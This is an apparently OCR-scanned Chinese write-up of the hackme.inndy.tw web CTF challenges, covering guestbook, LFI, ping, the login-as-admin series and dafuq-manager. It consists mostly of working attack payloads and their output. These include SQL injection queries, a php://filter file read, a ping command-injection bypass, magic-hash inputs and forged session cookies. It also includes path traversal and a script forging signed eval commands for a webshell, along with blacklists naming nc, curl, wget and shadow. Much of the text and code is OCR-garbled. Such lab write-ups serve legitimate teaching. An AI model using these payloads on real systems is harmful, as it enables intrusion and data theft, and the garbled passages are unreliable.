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hide and seek
Can you see me? I'm so close to you but you can’t see me.
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guestbook
This guestbook sucks. sqlmap is your friend.
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https://hackme.inndy.tw/gb/?mod=read&id=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where

table_schema=database()
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https://hackme.inndy.tw/gb/?mod=read&id=0 union select 1,2,3,group_concat(flag) from flag
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What this admin’s password? That is not important at all, just get the flag. Tips: LFI, php://filter

3 PHP 43 : php://Ffilter

php://filter/read=convert.base64-encode/resource=pages/Login

// 77 Login.php
<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb"') {
echo $flag;
} else {
?>
<form action="?page=pages/login" method="post" role="form">
<div class="form-group">
<label for="user-i">User</label>
<input type="text" class="form-control" id="user-i" placeholder="Username" name="user">
</div>
<div class="form-group">
<label for="pass-i">Password</label>
<input type="password" class="form-control" id="pass-i"
</div>

placeholder="Password" name="pass">
<button type="submit" class="btn btn-primary">Login</button>
</form>

<?php } ?>

// & config.php, =%/ flag
$flag = "FLAG{Y000000 XSXSYP...... s

homepage

Where is the flag? Did you check the code?

FEREHEIAR, RILT— MM cute.js -


https://hackme.inndy.tw/lfi/
https://hackme.inndy.tw/
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ping

Can you ping 127.0.0.1?

BRI H IS H , arSTEN.


https://hackme.inndy.tw/ping/

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Ping</title>
</head>
<body>
<form action="." method="GET">
IP: <input type="text" name="ip"> <input type="submit" value="Ping">
</form>
<pre><?php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
‘apt', 'yum', 'curl', 'wget', 'perl', ‘'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd’', 'shadow', 'root',
'z,
‘dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc’,
A S L R S A UL LU A AV B
1;
set_time_limit(2);
function ping($ip) {
global $blacklist;
if(strlen($ip) > 15) {
return 'IP toooooo longgggggggees’ ;
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
¥
¥
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0, 10));
¥
¥
if(lempty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight file(__FILE_);
?></pre>
</body>
</html>

K $ BAERLEHEN, BATLLT



$(1s) / "1s°
ping: flag.php
index.php: Name or service not known

# cat WUNET, (HE WA LIEE X1EA 217 S

tac MEJE—1THIRER, TTUEHE tac & cat HEES!
more — Il — UM /REY R N

less 5 more ZRfil, {HZLL more FEAFMAIAZE, fihn] DAAERTHYTT!
head R&ELJUAT

tail REREJUT

nl  RoRBUEME, RERHAT S !

# A * BRI

$(tac f*)

ping: $flag = 'FLAG{ping_$(capture-the-flag) U..... s
<?php: Name or service not known

scoreboard

DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.

header HLRILT x-flag .

login as admin 0

SQL Injection!

MUH ERgy TR, JraadE .


https://hackme.inndy.tw/scoreboard
https://hackme.inndy.tw/login0

<?php
require('config.php');

// table schema
// user -> 1id, user, password, is_admin

function safe_filter($str) {
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')

) {
return '';
)
return str_replace("'", "\\'", $str);
/7 V' o=> \\

$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database

if(lempty($_POST[ 'name']) & !empty($_POST[ 'password’'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM “user’ WHERE “user’ = '%s' AND " password™ = '%s'",
$_POST[ 'name"'],
$_POST[ 'password"' ]
)
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
¥
} catch(Exception $e) {
$user = false;

<?php if(!$user): 2>
<?php if($user === false): ?>
<!-- debug: <?=$sql?> -->
<?php else: ?>
<h4><?=sprintf("You %s admin!", $user->is_admin ? "are" : "are not")?></h4>
<?php if($user->is_admin) printf("<code>%s</code>, %s", htmlentities($flagl), $where is flag2); ?>
<?php endif; ?>

& ¥ DB_HOST XUESHUAIEAA WAL BA i, P INERH CBIRE, safe_filter XIFARERXFEDL,
PRV TRIEN, ERZEELE sqli B, FRIFMLE T —F posT #4l, HREIFA .

str_replace("'", "\\'", $str);
\' o=\ R

BESRINT or 1, EEWELERE %, HASHE adnin A/, FIUHEEFIHFET, HUEAR flag M.



POST flogind/ HTTR/M .1

Host: hackme.inndy. tw

User-Agent: Mozilla/s.0 (Windows NT 10.0; Winb4; x64; nv:66.0) Gecko/20100101
Firefox/e6.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 */* ¢=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: https:/fhackme.inndy tw/logind/

Content-Type: application/s-www-form-urlencoded

Content-Length: 36

Connection: close

Upgrade-Insecure-Requests: 1

Fragma: no-cache

Cache-Cantral: no-cache

name=666&password=\" or 1 limit 1,1#

name=666&password=\" union select 1,1,1,1# HEREGT .

login as admin 0.1

Grab the hidden flag

LI

<div class="container"=
<h1>Login as Admin 0</h1>
</div=
</div=

<div class="container">
<div class="navhar">
<div class="container-fluid">
<div class="navbar-header">
<a class="navhar-brand" href="/">Please Hack Me</a>
<fdiv>
<ul class="nav navhar-nav">
<li=
<a href="/scoreboard">Scoreboard</a>
</li=
<li=
<a href="?show_source=1" target="_blank">Source Code</a>
<fli=
<ful=
<fdiv=>
<fdiv=
</div>

<div class="container">
<div class="col-md-6 colmd-offset-3">
<h3=Hi, admin</h3>

<hd>You are admin!</hd>

<code>FLAG{\" UNION SELECT il Knov L Inject quot; #}</code=, flag2 in the
database! </div=

M E—@F T LIER|: flag2 in the database! 7 /MFEEFIF EIRAL, MATEEE T, REiewMER 1.

POST flogind/ HTTP/1.1

Host: hackme.inndy.tw

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; v66.0) Gecko/20100101
Firefox/66.0

Accept: text/html application/xhtml+xml, application/xml; g=0.9 */* ¢=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;g=0.5,2n-US; g=0.3 .en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitps:/fhackme.inndy.tw/logind/

Content-Type: application/x-www-form-urlencoded

Content-Length: 135

Connection: close

Upgrade-Insecure-Requests: 1

Fragma: no-cache

Cache-Control: no-cache

name=666&password=\"union select 1 (select group_concat(table_name) fram
information_schema.tables where table_schema=database()), 3 0#

ar

<div class="jumbaotron">
<div class="container">
<h1=Login as Admin 0</h1>
<[div>
</div>

<div class="container">
<div class="navhar">
<div class="container-fluid">
<div class="navhar-header">
<a class="navhar-brand" hre="/">Please Hack Me</a>
<fdiv=
<ul class="nav navhar-nav">
<li»
<a href="/scoreboard">Scoreboard</a>
<fli=
<li»
<a href="?show_source=1"target="_hlank">Source Code</a>
<fli=
<ful>
<fdiv=
<[div=
<fdiv=

<div class="container">
<div class="col-md-6 col-md-offset-3"=
<h3=Hi, h1idden_fldg,user</h3>

<h4=You are not admin!</hi>

<ldiv=
<fdiv=
<fbody=
</html>


https://hackme.inndy.tw/login0

FOST fogindf HTTR/ .1 &
Host: hackme.inndy.tw

User-Agent: MozillaS.0 (Windows NT 10.0; WinB4; x64; nv:66.0) Gecko/20100101
Firefox/66.0

Accept: text/htmlapplication/xhtml+xmlapplication/xml; g=0.9 */*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: https://hackme.inndy. tw/login0/

Content-Type: application/x-www-form-urlencoded

Content-Length: 138

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Contral: no-cache

name=6664&password=\" union select 1,(select group_concat{column_name) fram
information_schema.columns where table_name="h1dden_fi4g") 3 0#

IEL4

login as admin 1

Please login as admin.

Tips: SQL Injection but sqlmap not working anymore.
Update: Source code is available now.

Scanner WON'T WORK

K FERE TR, 5 R RN, IR AT

<div class="jumbotron">
<div class="container">
<h1=Login as Admin 0</h1>
</div>
<fdiv>

<div class="container">
<div class="navhar">
<div class="container-fluid">
<div class="navhar-header">
<a class="navbar-brand" href="/">Please Hack Me</a>
<fdiv>
<ul class="nav navbar-nay">
<liz
<a href="/scoreboard">Scoreboard</a>
<fli=
<liz=
<a href="?show_source=1" target="_blank">Source Code</a>
<li=
<ful>
<[div=
</div>
<fdiv>

<div class="container">
<div class="col-md-& colmd-offset-3">
<h3=Hi, the_fldg</h3>

<hd=You are not admin!</hd>

<fdiv=
<fdiv>

<fbody>
<fhtml=



https://hackme.inndy.tw/login1

//require( 'WAF.php');

$ua = strtolower($ SERVER['HTTP_USER_AGENT']);
foreach($bad_ua as $bad) {
if(strstr($ua, $bad)) {
die("I don't like hackers. :(");

function safe_filter($str) {
$strl = strtolower($str);

if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')

) {
return '';

¥

return str_replace("'", "\\'", $str);

$_POST = array_map(safe_filter, $_POST);

TRPGIIE T, TrikMRE, KRB o B, R IHECE .

POST flogint/ HTTR/ 1 E
Host: hackme.inndy.tw

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv66.0) Gecko/20100101
Firefox/66.0

Accept: text/html, application/xhtml+xml, application/xml; g=0.9 ** q=0.8
Accept-Language: zh-CM,zh;¢=0.8,zh-TW,;q=0.7 ,zh-HK; q=0.5 en-US; q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: https:ffhackme.inndy twflogin1/

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

Connection: close

Upgrade-Insecure-Requests: 1

name=18&password=\""funion//select/™1 2 3 4#

login as admin 1.2

Get another flag
Tips: boolean-based SQL injection, information_schema

THREMAEE, MZKE T, LUEH.

login as admin 3

<div class="jumbotron">
<div class="container">
<h1>Login as Admin 1</h1>
<fdiv=
</div>

<div class="container"=
<div class="navbar">
<div class="containerfluid">
<div class="navbar-header"=
<a class="navbar-brand" href="/">Please Hack Me</a>
<fdiv=
<ul class="nav navhar-nav"=>
<li>
<a href="/scoreboard">Scoreboard</a>
<fli=
<li>
<a href="?show_source=1" target="_blank">Source Code</a>
<fli=
<ful>
</div>
<fdiv>
<[div>

<div class="container">
<div class="col-md-6 col-md-offset-3">
<h3=Hi, 1</h3>

<hd>You are adminl</h4>

<code>FLAG{He110, Admin\\' or 1337 &lt; 314159 #}</code>, flag2 in the database!
<[div=
</hody>
</html=

<fdiv>



https://hackme.inndy.tw/login1
https://hackme.inndy.tw/login3

<?php
require('users_db.php'); // $users

function set_user($user_data) {
global $user, $secret;

$user

[$user_data[ 'name'], $user_data['admin']];

$data = json_encode($user);

$sig = hash_hmac('sha512', $data, $secret);

$all = base64_encode(json_encode(['sig' => $sig, 'data' => $datal));
setcookie('user', $all, time()+3600);

$error = null;

function load_user() {
global $secret, $error;

if(empty($_COOKIE[ ‘user'])) {
return null;

$unserialized = json_decode(base64_decode($_COOKIE[ ‘user']), true);

// == HJFELET

if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;

$data = json_decode($unserialized['data’], true);
return [

‘name’ => $data[o],

'admin' => $data[1]
1;

$user = load_user();

if(lempty($_POST['name']) & !empty($ POST[ 'password’'])) {
$user = false;
foreach($users as $u) {
if($u[ 'name'] === $_POST[ 'name'] && $u[ 'password'] === $ POST[ 'password']) {
set_user($u);

SeH guest BERILIL, cookie L T —A user MIMH.

eyJzalWciOiI3NWQIM2Y5N2FjZDIXMTASOGEWNTIiMzA1ZDF jYWYXOTEOMzZjNmQyOWQxOTM2ZDkON2Y4ZmR1NzczMzAWOGEzOTY4ZWRhYTRiINGE2
ODIOMmMRiODY5NjAzMDUWNTI3MzkxNGR1ZDY40GQONT110GM5MjI1IMjAWZDcyOWEWY jk4ZSIsImRhdGEi10iJbXCIndWVzdFwilGZhbHN1XSJ9

base64_decode =>

{"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaadb4a68242db8696030505273914ded688
d459e8c9225200d729a0b98e", "data" : "[\"guest\",false]"}

hmac I1E data fEHEN, AMEMERE 1=, K ASIEHT RS, WATK sig MIMEBY 0 RIFT.



{"sig":0,"data":"[\"1\",1]"} // FE_AMEAN true BiF[

base64_encode =>
eyJzaWciOjAsImRhdGEiOiJbXCIXXCIsMVOifQ==

FEAERMNRE, XH data BOEHBAREERER, hash GRMEDE I K, WEAT, UFEIFLA R if

login as admin 4
XA B A

<?php if($_POST['name'] === ‘admin'): /* login success! */ 2>
<div class="alert alert-success"><code><?=$flag?></code></div>
<?php else: ?>

login as admin 6

<?php
@error_reporting(E_ALL~E_NOTICE);
require('config.php');

$user = null;

if('empty($_POST['data'])) {

try {
$data = json_decode($_POST['data’], true);

} catch (Exception $e) {
$data = [];

¥

extract($data);

/) BEHEE

if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;

<?php if(!$user && isset($_POST['data'])): ?>
<div class="alert alert-danger">Login failed</div>
<?php endif; ?>
<?php else: ?>
<h3>Hi, <?=htmlentities($username)?></h3>
<h4><?=sprintf("You %s admin!", $user == 'admin' ? "are" : "are not")?></h4>
<?php if($user == 'admin') printf("<code>%s</code>", htmlentities($flag)); ?>
<?php endif; ?>

%@UMWMt%$iﬁ%§%%%%ﬁTo

data={"user":"admin"}

login as admin 7


https://hackme.inndy.tw/login4
https://hackme.inndy.tw/login6
https://hackme.inndy.tw/login7

<?php
require('config.php');

if($_POST['name'] == 'admin' && md5($_POST[ 'password']) == '00000000000000000000000000000000" ) {
// admin account 1is disabled by give a impossible md5 hash
$user = 'admin';

} elseif($_POST['name'] == 'guest' && md5($_POST[ 'password’']) == '©84e0343a30486ff05530df6c705c8bb4") {
$user = 'guest’;

} elseif(isset($_POST['name'])) {
$user = false;

IR LT + BEVERG Ay

var_dump('@e@' == '0000'); // true

QNKCDZ0
0e830400451993494058024219963391
s155964671a
0e342768416822451524974117254469
$214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
$1091221200a
0e940624217856561557816327384675
$1885207154a
0e509367213418206700842008763514
$s1836677006a
0e481036490867661113260034900752
$1184209335a
0e072485820392773389523109082030
$1665632922a
0e73119806149116307319712
$1502113478a
0e861580163291561247404381396064
s532378020a
0e220463095855511507588041205815

login as admin 8

2 MR AR R IX L, N A DRk T .


https://hackme.inndy.tw/login8

<?php
require('config.php');
require( 'session.php');

// class Session { ... }

// sorry, no source code this time. :P

$session = Session::load();
$login_failed = false;

if($_GET['debug'] === "1") {
$session->debug();

if(isset($_POST[ 'name'])) {

$login_failed = !Session::login($_POST[ 'name'], $_POST[ 'password']);
} else if(isset($_POST[ 'logout'])) {

$session = new Session();

$session->save();

cookie HLH K774, login8cookie

0%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump’%2
2%3Bs%3A9%3A%22index. php%22%3Bs%3A13%3A%22%00Session%00data’%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%
22%3Bs%3A4%3A%22passk22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%221is_admin%22%3Bb%3A0%3B%7D

login8sha512

4feb33685e47c83ce@89b17071270001a8dc0648d4a7d94d0a3e2f5b35803a7c8766285283415c8594e658468cf5e99be232b3bf98a44156
8a71f709243e9077

KL, shas12 MIMEHEIERE cookie HIZE(H, BUAMNE, BAMEL, [FN St OK 1.
SRR, AR URL Y5 E#EEH12% hash, XS ER LA IFFF %00 .

login as admin 8.1

login as admin and grab the hidden flag

VER R L cookie HiBA debug 1.

import hashlib, urllib.parse

en = """0%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debu
g_dump%22%3Bs%3A10%3A%22config.php%22%3Bs%3A13%3A%22%00Session%00data’%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%
3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%221is _admin%22%3Bb%3A1%3B%7D" " "
print(hashlib.sha512((urllib.parse.unquote(en)).encode()).hexdigest())


https://hackme.inndy.tw/login8

&« C (Y & hitpsy//hackme.inndy.tw/login8/?debug=1

<php
define("ROOT", dirname (realpath(_FILE_ 1)J;
define( DERUG_MODE , false):

$flag = “FLA [object stiom G G
¢ hidden flag: “FLAG 2 up neor”:
fusers = [
Tguest’ =r [
‘pazsword’ =» " guest’,
Tadmin’  =r false,
1,
Tadmint = [
‘password’ =» false. // adnin account  disabled
Tadmin’  =r  true.
1,
1:

dafug-manager 1

Login as guest and find flag 1

guest BRER, RIME— M UHELRS, b5 TR,

& > C {Y & hitps//dafug-manager.hackme.inndy.tw/index.php?action=list&order=name&srt=yes&lang=en W % O ]
[guest] - Directory: / @ | 9| + | » | » | o] £ :
https:/idafug-manager.hackme.inndy.tw/index.php?action=list&order=name&srt=y... |
@UP QHOME (®RELOAD G SEARCH % COPY _%xMOVE [¥|DE ».hackme.inndy.tw |
] Name - » .hackme.inndy.tw | session_guard
O 4 .good.jqb.here_is_your.hidden.ﬂag-1.txt D ey [| e
[ A .where-is-flag-2-please-tell-me txt :
[ dafugManager.7z D TG [| I
[ ) index html v .inndy.tw | _gat
|:| L see-me-|f-y0g-need-t|ps.txt » inndy.tw | _gid
[} source-code-in-dafugManager.7z-please-download-...
6 Item(s) (Free: 6.88 GB) + dafug-manager.hackme.inndy.tw | PHPSESSID
+ dafug-manager.hackme.inndy.tw | show_hidden
Hope that you
@ Value
yes
ol
A
Domain
|dafuq—manager.hackme.inndy.tw |
Path
/ |
Expiration
|Wed May 01 2019 12:47:25 GMT+0800 (FEi=ETE) |
Samesite
| Mo Restriction v |
v i .
dafug-manager 2

Try to login as admin! and you will get flag2

SelRI A T, RUIFB B BRI, AP R B S


https://dafuq-manager.hackme.inndy.tw/
https://dafuq-manager.hackme.inndy.tw/

<?php
$GLOBALS["users"] = array
array
"guest"

"084e€034320486f105530df6c705c8bb4"

"./data/guest"

"https://gamel.security.ntu.st/data/guest"”

"Ahtt

BEARES AT EHLE sqli 7, HEMIMEEt.

Tl

BURR BN, —P—DET

fun_down.php

if (lget_is file($dir, $item

1 MERFERMRETIEE, PRI ECRE MRS
z eval B aszer e[ BRI N TF{ERE . AIHTFTARNITIE

3 eval B asser te[ BRI P IFIEHEE  AIRCIFIEAIDITIE

4 EE RS RTEIE R AR IR hREEE

5 B MR IE R, PRI R hREER

& EE IR R, AR IR HEERER

7 EE RS R IE IR R AR R HREER

g SR ERSRTFIEE, AIRTEE IR RE MRS
9 SR FEM I IE R, PIRSTEETECREL MRS A2
10 SRS IE R, PIRCFE IR HREL RS A2
1 SRS RIEIT R FIRERE TR RRELMRRAE.
12 TR, EE FERRETEE

13 EHESEMRFIEE R EERER

14 ER S IE R, AR IR HEERER

15 EE RS R E T R FIRSRE T R RERER

16 SRS E, AIREE IR RE MRS
17 eval i asser te[E I TF{EEER . FIRCTRE AT

Feore/fun_copy_move. php
FeorefFun_debug. phy
Seore/Fun_debug. php

$ok = @eopy($abs_item, $abs_new_item);
diefeval (Femd)d:
assert (strleni(3GLOBALS[ secret_key' 1) » 400;

Feoredfun_dewn. php
Feoredfun_edit. php

@readfile(fabs_item);
$buffer. = Fgets($fp, 4095);

Seore/fun_sdit. phy
fcoreffun_edi t. php
.-"rcore,-'rfu.n_extra. php
feore/fun_extra. php
Feore/fun_sxtra php
Feore/fun_up. php
Feore/Fun_up. php
Foorefinit. php
ALib/lib_zip. php
/lib/1lib_zip. php
/lib/lib_zip. php
/Lib/ib_zip. php

$fp = @fopen(ffname, "¢

$fp = @fopeni($file_name, “w");:

$ok = @unlink($new_item);

$ok = @unlick($item);

$ok = @oopy($new_source, $new_dest):

@unlink ($tmp):

$ok = @move_uploaded file($tmp, $abs):

require . flang/” . $GLOBALS["lanzuagze”] . “_mimes. php”;
if (($fp = fopenifname, “wb")) == falze) retwrn false:
$data = fread($fp, filesize($item));

furite($fp, $this—>contents(}):

eval(’ $hexdtime = o $hexdtime . ! ”;J );

show_error($item oo $GLOBALS[ "error_msg"|["fileexist"
if (!get_show_item($dir, $item
show_error($item o $GLOBALS[ "error_msg"]["accessfile"
if ($item == "." || $item == "..") return false
if ($GLOBALS["show_hidden"] == false
$dirs = explode("/", $dir
foreach ($dirs as $i) if (substr($i 1) == ".") return false
$abs_item = get abs_item($dir, $item
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config’
show_error($item e $GLOBALS[ "error_msg"]["accessfile"

fun_edit.php



[/ G T A
if (!get_is_file($dir, $item))
show_error($item
if (!get_show_item($dir, $item))
show_error($item

$fname = get_abs_item($dir, $item);

if (!file_in_web($fname))
show_error($GLOBALS[ "error_msg"]["accessfile"]);

": " . $GLOBALS["error_msg"]["fileexist"]);

": " . $GLOBALS["error_msg"]["accessfile"]);

RSB index. php o B8 SF AN % 450 )5 300X G B A

GET findex.php?action=edit&iterm=../.config/ htusers.php HTTR/1.1

Host: dafug-manager.hackme.inndy.tw

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; n:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html application/xhtrl+xml application/xml;q=0.9 **q=08

Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0 5 en-US;q=0.3 en;q=02
Accept-Encoding: gzip, deflate

Referer:

https:/fdafug-manager. hackme.inndy.tw/index. php?action=login&order=name&si=yes&lang=en
Connection: close

Cookie: PHPSESSID=vdcfas7 vpknvmif2dalfOhElg7; show_hidden=yes
Upgrade-Insecure-Requests: 1

FVE B 5 K= 6 s R T 7 2 flag

dafug-manager 3

For flag3, you need a shell to get that. see SWEBROOT/flag3!

[« F

<script language="JavaScript1.2" type="text/javascript"=
<l
function chwrap() {
if({document.editfrm.wrap.checked) {
document.editfrm.code wrap="soft";
Yelse{
document.editfrm.code.wrap="off";
}
}
=
<fscript><BR><FORM name="editfrm" method="post"
action="https://dafug-manager.hackme.inndy.tw/index. php?action=edit&item=.. %2F .config%2F . htus
ers.php&order=namedsi=yes">
<input type="hidden" name="dosave" value="yes">
<TEXTAREA NAME="code" rows="25" cols="120" wrap="off">&It;? php
FGLOBALS[&quul;users&quul;] = array(
array(&quot;adm1n15tratdr&quot;, &quot;34af0d074b17144d1bbh939765b02776f&quot;,
&quot;./datadquot;, &quot;https:/daf
&quot;*.ht&quot;, 7, 1),
array(&quot;inndy&quot;, &quot;fcie038d38a57032085441e7fe7010b0&quot;,
&quot;./data/inndy&quot;, &quot;https://dafug hack
0, &quot;» .ht&quot;, 1, 1),
array(&quot;guest&quot;, &quot;084e0343a0486ff05530df6c705cBbbd &quot;,
&quot;./data/guest&quot;, &quot;https:/idafug-manager.hackme.inndy.tw/data/guestdquot;,
0, &quot;* .ht&quot;, 1, 1),
)
</TEXTAREA><BR>
<TABLE=><TR=<TD>Wordwrap: (IE only)</TD><TD><INPUT type="checkbox" name="wrap"
onClick="javascript:chwrap();" value="1"></TD></TR></TABLE><BR>
<TABLE><TR=><TD></NPUT type="text" name="fname"
valug=". /.config/ htusers. php"></TD><TD><input type="submit" value="Save"
class="hutton"></TD>
<TD=<input type="reset" value="Reset"></TD>
<TD=<input type="button" value="Close"

hack

inndy.
Y

d &quot;, 1,

inndy.tw/data/i

onClick="javascript:location="https: //dafug-manager hackme.inndy tw/index php?action=list&order=n
amelsi=yes"" class="button"></TD></TR></FORM></TABLE=><BR>

ZRTEVRRD R, R E]— debug MIHLJT, T HWHHEKT eval.

ENLF fun_debug.php , AT LPLZHA F4E webshell |25,



https://dafuq-manager.hackme.inndy.tw/

function do_debug() {
assert(strlen($GLOBALS[ 'secret_key']) > 40);
$dir = $GLOBALS[' GET']['dir'];
/) EN A T

if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {

show_error('You are not hacky enough :(');
)
list($cmd, $hmac) = explode('."', $GLOBALS['_GET']['command'], 2);
$cmd = base64_decode($cmd);

$bad_things = array('system', ‘'exec', 'popen', 'pcntl_exec', 'proc_open',

'preg_replace', 'create_function', 'include', ‘'require', ‘'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) { // LHELXT T
die('2bad');

'passthru’, '°', 'eval',

¥

¥

if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));

} else {

show_error('What does the fox say?');

WRIGHL M AIEANER T, WEAI#A shell Itdr. i Al PHPSET Filter L A2 WAF JLI|

PTARESRR, AT T ABE, BRI

function make_command($cmd) {

‘assert’,

$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeINj9q5SHFcWr5kc8XzE4PyzB8brEw6pQQyzmIZUuRBbwDU7UE6GYFPmM3");

return sprintf('%s.%s', base64_encode($cmd), $hmac);

)i
echo make_command('$a=\"syste\"';$b=\"m\';%a.=$b;%a(\"'1ls -al\');");

GET A HTTR/M.1 200 0K

findex. php?action=debug&dif]&command=JGEIJ3N5 3R zsk Y|OnhScr JGEUPSRIOyRhKCdscyAtY 3 Senver: nginx
WwnkTs=.0299cd18196dfe0d122a470a77d4ad2b00a450kc2e31 4982851407357 afdc1h HTTRM A Date: Wed, 01 May 2019 16:52:47 GMT
Host: dafug-manager.hackme.inndy . tw Content-Type: text/html; charset=UTF-8
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n66.0) Geckof20100101 Firefox/66.0 Connection: close

Accept: text/htmlapplication/xhtml+xml,application/xml; g=0.9 "™ q=0.68 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;g=0.2 Cache-Contral: no-stare, no-cache, must-revalidate
Accept-Encoding: gzip, deflate Pragma: no-cache

Connection: close Strict-Transport-Security: max-age=15768000
Cookie: PHPSESSID=vdcfaS7Ivpknvmf2da1f0helg7; show_hidden=1 Content-Length: 529
Upgrade-Insecure-Requests: 1

l-Modified-Since: Wed, 01 May 2019 15:32:09 GMT total 44

Cache-Control: max-age=0 drwxr-xr-x 13 root root 4096 Jul 30 2018 .

KL flags ZANHxK, BHEBRIMAWERI.

drwxr-xr-x 5 root root 4096 Nov 17 2017 ..
drwxr-xr-x 2 root root 4096 Jan 25 2018 .config
drwxr-xr-x 2 root root 4096 Oct 4 2016 core

o drwxr-xr-x 5 root root 4096 Jul 30 2018 data
hnmu-:r-l 2 root root 4096 Jan 25 2018 flag3
drwxr-xr-x 2 root root 4096 Oct 4 2016 img
-rw-r-r-- 1 rootroot 2233 Oct 4 2016 index.php
drwxr-xr-x 2 root root 4096 Oct 4 2016 lang
drwxr-xr-x 2 root root 4096 Oct 4 2016 lib
drwxr-xr-x 2 root root 4096 Oct 4 2016 style


https://www.anquanke.com/post/id/168667

GET
findex.php?action=debug&dirf]&command=JGEIJ3NGCIRMzsk Y OnbScVJGEURPSRIOyRhK CdscyAulL
27sYWezIC1hbCepOw==.149c610a408d82eef/ 1fafac4492cB68E0c 1789155822969 d46575e5e 46 de
HTTR/M 1

Host: dafug-manager.hackme.inndy.tw

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html application/shtml+xml application/xml; g=0.9 */*,q=0.8

Accept-Language: zh-CM zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=vdcfaS7 lvpknvmiZdalfOhGlg7; show_hidden=1

Upgrade-Insecure-Requests: 1

f-Moadified-Since: Wed, 01 May 2019 15:32:09 GMT

Cache-Control: max-age=0

root 4 REEE flag3 , HEIEAUMKRIE 1. SEFE meow.c

HTTR .1 200 Ok

Sernver: nginx

Date: Wed, 01 May 2019 17:08:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Expires: Thu, 19 Moy 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Fragma: no-cache

Strict-Transport-Security: max-age=15768000
Content-Length: 305

total 32

drwxr-xr-x 2 root root 4096 Jan 25 2018 .
drwxr-xr-x 13 root root 4096 Jul 30 2018 ..
-rw-r--1-- 1 root root 161 Oct 4 2016 Makefile
N JR—— 1flag3 flag3 72 Oct 4 2016 flag3
rws-s--x 1 flag3 flag3 9232 Oct 4 2016 meow
-rw-r---- 1 root root 783 Oct 4 2016 meow.c



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
const char *exec = argv([0];

const char *flag = argv[1];

char buffer[4096];

if(argec < 2) {

printf("Usage: %s flag\n", argv[0]);

puts("We have cat to read file, And the meow to cat flag.");
return 0;

}

struct stat S;

if(stat(exec, &S) !=0) {

printf("Can not stat file %s\n", exec);
return 1;

}

uid_t uid = S.st_uid;
gid_t gid = S.st_gid;

setuid(uid);
seteuid(uid);
setgid(gid);
